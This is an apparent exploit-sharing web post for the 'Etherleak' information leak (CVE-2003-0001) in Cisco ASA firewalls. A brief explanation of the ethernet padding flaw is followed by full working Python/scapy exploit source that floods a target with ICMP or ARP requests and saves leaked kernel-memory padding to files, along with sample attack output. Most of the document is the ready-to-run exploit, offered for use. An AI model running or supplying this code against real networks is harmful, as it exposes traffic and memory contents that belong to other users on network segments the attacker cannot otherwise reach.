Dec
5
2013

Cisco ASA < 8.4.4.6 | 8.2.5.32 Ethernet Information Leak

This is the Cisco ASA ethernet information leak exploit that leverages the vulnerability noted in CVE-2003-0001. Versions prior to 8.4.4.6 and 8.2.5.32 are affected.

Multiple platform ethernet Network Interface Card (NIC) device drivers incorrectly handle frame padding, allowing an attacker to view slices of previously transmitted packets or portions of kernel memory. This vulnerability is the result of incorrect implementations of RFC requirements and poor programming practices, the combination of which results in several variations of this information leakage vulnerability.

The simplest attack using this vulnerability would be to send ICMP echo messages to a machine with a vulnerable ethernet driver. Portions of kernel memory will be returned to the attacker in the padding of the reply messages. During testing we have found that the portions returned are typically snippets of network traffic that the vulnerable machine is handling. This attack can allow an attacker to see portions of the traffic that a router or firewall is handling on network segments the attacker has no direct access too. It is important to note that the attacker must be on the same ethernet network as the vulnerable machine to receive the ethernet frames.

Below the source of the exploit (Only for test!)

#!/usr/bin/env python
# CVE-2003-0001 'Etherleak' exploit
# =================================
# Exploit for hosts which use a network device driver that pads 
# ethernet frames with data which vary from one packet to another, 
# likely taken from kernel memory, system memory allocated to 
# the device driver, or a hardware buffer on its network interface 
# card. Exploit uses scapy with either ICMP or ARP requests as 
# this can trigger with either but ICMP can hit layer3 filtering 
# rules. Using ARP the padding appears to leak only fixed constant 
# values when exploited, ICMP leaks random bytes. 
#
# root@bt:~/0d# python cve-2003-0001.py x.x.x.254 icmp leaky
# WARNING: No route found for IPv6 destination :: (no default route?)
# [ CVE-2003-0001 'Etherleak' exploit
# [ Attacking x.x.x.254 for icmp padding saved to leaky.hex
# ............................................................^C!Killing
# !Killing
# root@bt:~/0d# hexdump -C leaky | head
# 00000000  e6 bd a6 9b 90 eb 44 f5  18 a5 29 2a 16 5a 08 ff  |......D...)*.Z..|
# 00000010  43 e1 23 07 8f 96 5a 24  3f 3d 33 7d b4 97 7e 18  |C.#...Z$?=3}..~.|
# 00000020  05 c9 7c 2c a5 c0 fa 7a  76 f3 51 c0 fe 07 72 32  |..|,...zv.Q...r2|
# 00000030  9e ad 6a 67 ad 43 58 17  60 43 bc 2b b8 fb cc 70  |..jg.CX.`C.+...p|
# 00000040  99 92 80 84 03 03 6f 8f  18 d3 5b 5e f0 1e 3a 83  |......o...[^..:.|
# 00000050  3d 82 e7 cd 3e 1f 31 74  b0 06 8c a2 7e 14 6b fb  |=...>.1t....~.k.|
# 00000060  72 9b ac 64 74 9b a4 d9  23 5b 92 82 0d 0b 31 f0  |r..dt...#[....1.|
# 00000070  a9 4f dd 3f bf 2b 5c 67  6c 22 fa da d0 2b d6 39  |.O.?.+\gl"...+.9|
# 00000080  40 58 13 4f 3d bb 48 03  d3 53 3c 5c 44 d2 3d b2  |@X.O=.H..S<\D.=.|
# 00000090  4f f2 a9 4a 02 80 4e 1b  6c bd 69 89 bd 76 1b 0a  |O..J..N.l.i..v..|
#
# This issue has been resolved in ASA 8.4.4.6/8.2.5.32. Cisco Bug reference
# is CSCua88376 and PSIRT-0669464365.
#
#  -- prdelka
#
import os
import sys
import signal
import binascii
from scapy.all import *

def signalhandler(signal,id):
    print "!Killing"
    sys.exit(0)

def spawn(host,type):
    if type == 'arp':
        send(ARP(pdst=host),loop=1,nofilter=1)
    elif type == 'icmp':
        send(IP(dst=host)/ICMP(type=8)/'x',loop=1,nofilter=1)       

if __name__ == "__main__":
    print "[ CVE-2003-0001 'Etherleak' exploit"
    signal.signal(signal.SIGINT,signalhandler)
    if len(sys.argv) < 4:
        print "[ No! Use with  <arp|icmp> "
        sys.exit(1)
    type = sys.argv[2]
    if type == 'arp':
        pass
    elif type == 'icmp':
        pass
    else:
        print "Bad type!"
        sys.exit(0)
    pid = os.fork()
    if(pid):
        print "[ Attacking %s for %s padding saved to %s.hex" % (sys.argv[1],sys.argv[2],sys.argv[3])
        spawn(sys.argv[1],sys.argv[2])
    while True:
        if type == 'arp':
            myfilter = "host %s and arp" % sys.argv[1]
        elif type == 'icmp':
            myfilter = "host %s and icmp" % sys.argv[1]
        x = sniff(count=1,filter=myfilter,lfilter=lambda x: x.haslayer(Padding))
        p = x[0]
        if type == 'arp':
            pad = p.getlayer(2)
        if type == 'icmp':
            pad = p.getlayer(4)
        leak =  str(pad)
        hexfull = binascii.b2a_hex(leak)
        file = "%s.hex"%sys.argv[3]
        fdesc = open(file,"a")
        fdesc.write(hexfull + "\n")
        fdesc.close()
        # 32 bits leaked here for me.
        if type == 'icmp':
            bytes = leak[9:13]
        elif type == 'arp':
            bytes = leak[10:14]
        fdesc = open(sys.argv[3],"ab")
        fdesc.write(bytes)
        fdesc.close()

Link:

Summary
Article Name
Cisco ASA < 8.4.4.6 | 8.2.5.32 Ethernet Information Leak
Description
The Cisco ASA ethernet information leak exploit leverages the vulnerability noted in CVE-2003-0001. Versions prior to 8.4.4.6 and 8.2.5.32 are affected.
Author